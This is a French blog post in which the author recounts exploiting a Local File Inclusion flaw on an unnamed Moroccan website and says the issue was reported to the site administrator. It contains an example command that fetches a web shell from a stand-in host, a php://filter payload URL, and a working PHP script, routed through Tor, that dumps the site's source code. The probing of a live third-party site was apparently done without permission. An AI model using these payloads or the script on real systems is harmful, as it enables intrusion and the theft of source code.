Je découvre une faille sur un site web marocain

Contrairement à ce qu'on peut penser, ça n'a pas été un site gouvernemental.

La blague ici étant que ces derniers sont généralement les plus vulnérables.

Je raconterai ci-dessous la façon avec laquelle je l'ai exploitée. Gardez à l'escprit que c'est juste un Proof of Concept (PoC pour les 1337 h4XX012s d'entre vous), c'est à dire que l'exploit n'a été écrit que pour prouver que c'est possible d'en écrire un, pour prouver que le site est bel et bien vulnérable, et non pas pour l'utiliser à des fins pas très gentilles. Ceci dit, je ne divulguerai pas l'URL du site web afin de protéger celui-ci. Libre à vous de croire que ce qui suivra n'est un récit fictif.

La faille

La faille en question est une faille assez répandue : la LFI - ou la Local File Inclusion. Dès que j'ai vu index.php?page= dans l'URL du site, je n'ai pas pu résister à la tentation. Sans plus tarder, j'ai donc lancé le fameux Tor Browser pour que je puisse au moins jouir d'un peu d'anonymat au cas où la situation tournerait au vinaigre.


Et ce n'en aura pas été trop.

L'URL est comme suit : http://REDACTED/index.php?page=PAGE, PAGE étant le fichier inclus. L'intérêt d'utiliser une telle méthode est qu'elle permet au codeur de ne pas avoir à réécrire du code commun entre toutes les pages du site web (appliquant ainsi le principe DRY à un certain degré) : comme l'en-tête de la page HTML, le démarrage d'une session, l'initialisation d'une connexion à la base de donnée, etc. C'est en quelque sorte un front controller rudimentaire : avec l'avenue des frameworks MVC et des microframeworks en PHP, cette approche s'est vue devenir obsolète.

Le hic c'est que lorsque cette méthode n'est pas implémentée de façon correcte, elle ouvre les portes à l'une des failles les plus létales : l'inclusion de fichiers.

Le danger d'une telle faille dépend de l'inadvertance du codeur. Au pire des cas, elle permet d'inclure des fichiers distants, permettant ainsi aux méchants de facilement exécuter du code PHP sur le serveur de la victime. Le code inclus est de façon générale un simple script qui permettra de télécharger un shell plus sophistiqué :

exec('curl -o 404.php http://wwww.mechant.org/shell.php')

Mais heureusement pour vous, cher développeur, et malheureusement pour le pirate, il est difficile de trouver un site PHP tellement mal configuré qu'il lui permettrait d'inclure des fichiers distants. La directive de configuration "allow_url_include" du fichier php.ini est désactivée par défaut, l'empêchant ainsi de parvenir à ses fins.

*Mais alors, puisque cette directive-machin est désactivée, le site est sécurisé non ?*

Hmm.. pas tout à fait. Il se peut qu'il soit toujours possible d'inclure des fichiers locaux, c'est à dire ceux déjà présents sur le serveur. La procédure générale consiste à trouver l'error_log, ou l'access_log, et d'effectuer ce qui s'appelle le "log poisoning" : causer une erreur qui s'écrit dans l'error_log, puis inclure celui-ci, exécutant ainsi le code qu'on aura préalablement glissé dans l'erreur. Ceci dit, c'est quelque chose qui est plus facile à dire qu'à faire. Déjà qu'il faudra trouver l'emplacement de ces logs, puis on devra espérer que notre code malicieux ne se prenne pas un urlencode dans sa face, le rendant ainsi aussi inoffensif qu'un ours en peluche.

.. ou pas
De plus, il se peut que le code vulnérable ajoute automatiquement une extension au fichier inclus, obligeant ainsi le pirate à utiliser le null-byte, chose qui a de fortes chances à échouer. Mais là je commence à dérailler.

Ce fut effectivement le cas du site web en question. Le code vulnérable peut se résumer à ces quelques lignes :

if(isset($_GET['page']))
{
    include $_GET['page'] . '.php';
}
else
{
    include 'home.php';
}

Quelques tests ont rapidement révélé qu'il était impossible d'inclure des fichiers distants, ni de faire du log poisonning. Et là je me souviens d'une méthode lue il y a quelques années sur un certain blog : les wrappers !

Les rappeurs ?

Si vous êtes un développeur PHP, vous avez probablement déjà utilisé les rappeurs quelque part dans votre code. En voici des exemples :

$json = file_get_contents('http://www.site.com/api.json');
$handle = fopen('ftp://user:password@host.com/fichier.ext');

Les wrappers sont ce qui permet aux fonctions de la famille de fopen d'être aussi polyvalentes et d'ainsi pouvoir piocher soit dans un serveur FTP, HTTP, ou autre. Il est aussi possible d'en écrire vous même ! C'est une des "hidden features" de PHP : bien qu'elle existe, elle n'est pas souvent utilisée.

Ce qui nous intéresse là, c'est le wrapper php://, ou plus précisément php://filter, qui nous permet d'appliquer toutes sortes de filtres à un stream le moment de son ouverture. D'habitude, le code inclus s'exécute, et seul le résultat est affiché. Pour forcer l'affichage dudit code, on devra donc le convertir en un format qui puisse être affiché, un qui soit dépourvu de code PHP. La façon la plus facile de faire ceci est de l'encoder en base64, puis le décoder une fois affiché pour obtenir la source du fichier tel qu'il est sur le serveur. Et c'est ce que j'ai fait :

http://REDACTED/index.php?page=php://filter/read=convert.base64-encode/resource=index

Et voilà ! Pour outrepasser l'ajout forcé de l'extension .php au code, je l'ai omise du le paramètre "resource". En remplaçant $_GET['page'] par sa valeur, la ligne include s'évalue comme tel :

include 'php://filter/read=convert.base64-encode/resource=index' . '.php';

Pour automatiser le tout, j'ai écrit un petit script PHP d'une soixantaine de lignes que voici :

if($argc < 2)
{
	printf("Usage : php %s page\n", $argv[0]);
	exit;
}
$path = $argv[1];
if(strpos($path, '/') !== false)
{
	$dir = dirname($path);
	$file = basename($path);
	if(!file_exists($dir) && !mkdir($dir))
	{
		echo 'Failed to create the directory : ' . $dir . PHP_EOL;
		exit;
	}
}

$url = 'http://REDACTED/index.php?page=php://filter/read=convert.base64-encode/resource=' . $argv[1];
$query = '//[REDACTED]';
$ch = curl_init();

curl_setopt_array($ch, [
	CURLOPT_URL => $url,
	CURLOPT_PROXY => '127.0.0.1:9150',
	CURLOPT_PROXYTYPE => 7,
	CURLOPT_RETURNTRANSFER => true,
	CURLOPT_FOLLOWLOCATION => true
]);

echo 'Retrieving the source...' . PHP_EOL;
$html = curl_exec($ch);
if($html === false)
{
	echo 'xPloit failed : cURL error.' . PHP_EOL;
	echo curl_error($ch);
	exit;
}

echo 'Parsing the data...' . PHP_EOL;
libxml_use_internal_errors(true);
$dom = new DOMDocument;
$dom->recover = true;
$dom->strictErrorChecking = false;
$dom->loadHTML($html);
libxml_clear_errors();
$xpath = new DOMXPath($dom);
try
{
	$encoded = $xpath->query($query)->item(0)->nodeValue;
}
catch(Exception $e)
{
	echo 'xPloit failed : XPath error.' . PHP_EOL;
	echo $e->getMessage();
	exit;
}

echo 'Writing the data...' . PHP_EOL;
file_put_contents($path . '.php', base64_decode($encoded));
echo 'Done !' . PHP_EOL;

Ce dernier supporte les pages web imbriquées et crée une arborescence similaire en local. Ainsi, il fonctionnera par exemple tout aussi bien pour "index" que pour "dossier/index".

Le script crée d'abord le dossier, si nécessaire, puis télécharge la page faillible, pour ensuite en extraire le code en base64, décoder celui-ci et écrire le résultat dans un fichier local du même nom. Le téléchargement s'effectue par la très célèbre librarie libcurl, et le parsage se fait quant à lui par DOMDocument et DOMXPath. Ce sont des librairies robustes que j'utilise tout le temps pour faire du scraping, du coup elles se sont avérées très utiles pour écrire l'exploit.

Vous remarquerez que j'ai configuré cURL de façon à ce que le trafic passe par un proxy. En réalité, je ne suis pas sur que ça fonctionne. Le proxy utilisé n'est autre que Tor, qui a été lancé par le Tor Browser. J'ai testé l'adresse IP avec un simple script PHP et elle a effectivement changé, mais je garde mes doutes là dessus.

Conclusion

Pour finir j'ai contacté l'administrateur du site web pour lui faire part de mes découvertes, ainsi que de la façon par laquelle le problème peut être résolu (prédéfinir un tableau de pages permises et vérifier qu'il contient bien $_GET['page']). J'ai bien entendu créé une adresse email rien que pour ceci. J'ai aussi écrit l'email en anglais histoire qu'on me prenne pour un américain. Connaissant les marocains (parce que j'en suis un quoi), on a tendance à faire confiance à leur savoir car "ce sont des gens qui sont déjà arrivés", comme on dit chez nous.

Toutefois, connaissant la façon de penser des marocains, j'imagine que dans la pire des situations, voilà ce qui arrivera :

  • le webmaster reçoit mon email et clique sur le lien qui expose la faille
  • il contacte le(s) développeur(s) pour lui/leur reprocher le travail bâclé qu'ils ont fait
  • le développeur lui dit que c'était un hameçon, que le fait d'avoir cliqué sur le lien aura donné au pirate (moi) l'accès au site, et offre de "réparer les dégâts" contre une certaine somme d'argent, frappant deux oiseaux d'un seul coup
  • à chaque fois qu'un problème surgira, le pirate sera blâmé.

Mais là c'est vraiment le pire des pires des cas.

Pour finir ce billet, je dirai que la façon dont j'ai exploité cette faille est générique et ennuyeuse. Même si un exploit n'aboutit pas, le pirate ferait preuve de créativité pour parvenir à ses fins, cherchant d'autres vecteurs d'attaque, combinant plusieurs failles, usant d'ingénierie sociale, les possibilités sont infinies. Je me rappelle avoir lu le récit d'un hacker qui est parvenu à exploiter une LFI, et ce en envoyant un email bien forgé et en incluant /var/log/maillog ! La véracité de cette histoire reste à confirmer, mais j'ai bien aimé la méthode.

Bref, les hackers font preuve de beaucoup d'ingéniosité pour casser la sécurité d'une application, et leurs récits n'en sont que plus fascinants.

Commentaires

Posts les plus consultés de ce blog

Writing a fast(er) youtube downloader

My experience with Win by Inwi

Porting a Golang and Rust CLI tool to D